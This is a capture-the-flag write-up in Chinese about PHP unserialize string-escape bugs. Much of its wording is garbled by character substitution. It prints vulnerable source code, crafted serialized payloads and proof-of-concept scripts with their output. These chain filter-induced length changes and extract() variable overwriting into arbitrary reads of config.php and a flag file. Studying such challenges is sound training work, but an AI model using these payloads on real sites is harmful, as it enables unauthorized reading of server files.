CTF
比赛了解PHP
反序列化,记录本身的学习。 www.zip
发现备份的源码,有一下文件,flag就在config.php
,所以读取便可class.php //主要有mysql类(mysql基本操做)和user类(继承mysql实现功能点) config.php //环境配置 index.php //登录 profile.php //查看本身上传的文件 register.php //注册 update.php //文件上传
SQL
咯,发现class.php
中mysql
类的filter过滤函数,过滤了增删查改,基本无望.profile.php
中发现对上传的文件进行反序列化处理,并对文件$profile['photo']
进行读取.咱们再回到文件上传点,发现$profile['photo'] = 'upload/' . md5($file['name']);
,可是咱们没法获取加密后的文件值,后面有又看到文件上传是先序列化,再进过filter
函数替换一些关键字,再反序列化,所以文件可能发生改变,所以可能有漏洞;
做为分隔点,}
作为结束标志,根据长度来判断读取多少字符,咱们没法控制$profile['photo']
可是能够控制nickname
,而nickname
又进行了长度限制,strlen
函数却没法处理数组,所以用数组进行绕过便可咱们在这里截断,那么后面的则会被废弃再也不读取,而咱们要构造的的payload是,最开始的";}
是为了闭合前面数组nickname
的{
,后面的;}
是为了截断,让反序列化结束,再也不读取后面的内容,固然这些都不能是字符哈.";}s:5:"photo";s:10:"config.php";}
这时构造了payload
,那么就要来计算溢出数量了,咱们构造的payload长度为34,那么就要增长34个长度,因为where
变成hacker
会增长一个长度,那么咱们就须要34个where
,最终payloadphp
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
<?php function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } $profile = array( 'phone'=>'01234567890', 'email'=>'12345678@11.com', 'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'), 'photo'=>'upload/'.md5('1.jpg') ); print_r(serialize($profile)); echo PHP_EOL; print_r(filter(serialize($profile))); echo PHP_EOL; var_dump(unserialize(filter(serialize($profile)))); echo PHP_EOL; ?>
filter
函数反序列化时,nickname
数组的第一个值没被截断是一个总体wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";},恰好204个长度,通过filter过滤函数后,where
变成了hacker
,反序列化的长度变化了,可是又只读取204的长度,则s:5:"photo";s:10:"config.php";}";}就多出来了,做为另外一个反序列化的其中一个元素,而末尾的'}
又不是字符,所以被认为反序列化结束了,后面的内容被丢弃,所以能够任意读取文件.a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";} a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";} array(4) { 'phone' => string(11) "01234567890" 'email' => string(15) "12345678@11.com" 'nickname' => array(1) { [0] => string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" } 'photo' => string(10) "config.php" }
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
extract
变量覆盖,file_get_contents
任意文件读取.$userinfo['img']
逆推回去发现,是由参数img_path
控制的,可是通过sha1
加密,咱们没法得知加密后内容,但结合前面的extract
变量覆盖,咱们能够本身POST构造.filter
函数替换一些字符(那么此时序列化后的数据则发生了变化,可能存在漏洞),再反序列化,读取参数值.img
,user
,function
,而咱们能控制的只有后面两个,咱们须要构造的payload是这样的f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
img
的值,咱们本身来构造这个值,只有两个参数,必须在function
哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬(吞噬的长度本身酌情参考,通常是到本身能控制的点就好)后面的长度,来构造本身的payload咯,咱们就选user
元素吧,len('";s:8:"function";s:10:"'
)的长度为23,可是咱们没法构造23个长度,咱们能够多吞噬一个,24个字符,那么就用6个flag
就好,可是这样后面的序列化就混乱了,咱们就要添加本身的payload,并补全.虽然这样补好了,可是只有两个元素,这里须要三个元素,咱们就再添加元素,并将后面的img
进行截断a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
}
便可,而且不为读取的字符便可,所以添加f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}
,这里咱们新增了一个元素,所以吞噬后function
元素消失了,随便补充好元素便可.<?php function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } $arr = array( "user"=>"flagflagflagflagflagflag", "function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}', //"user"=>'guest', //"function"=>'show_image', "img"=>sha1(base64_encode('guest_img.png')) ); print_r(serialize($arr)); echo PHP_EOL; print_r(filter(serialize($arr))); echo PHP_EOL; print_r(unserialize(filter(serialize($arr)))); ?>
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} Array ( [user] => ";s:8:"function";s:62:"2 [img] => ZDBnM19mMWFnLnBocA== [tql] => tql )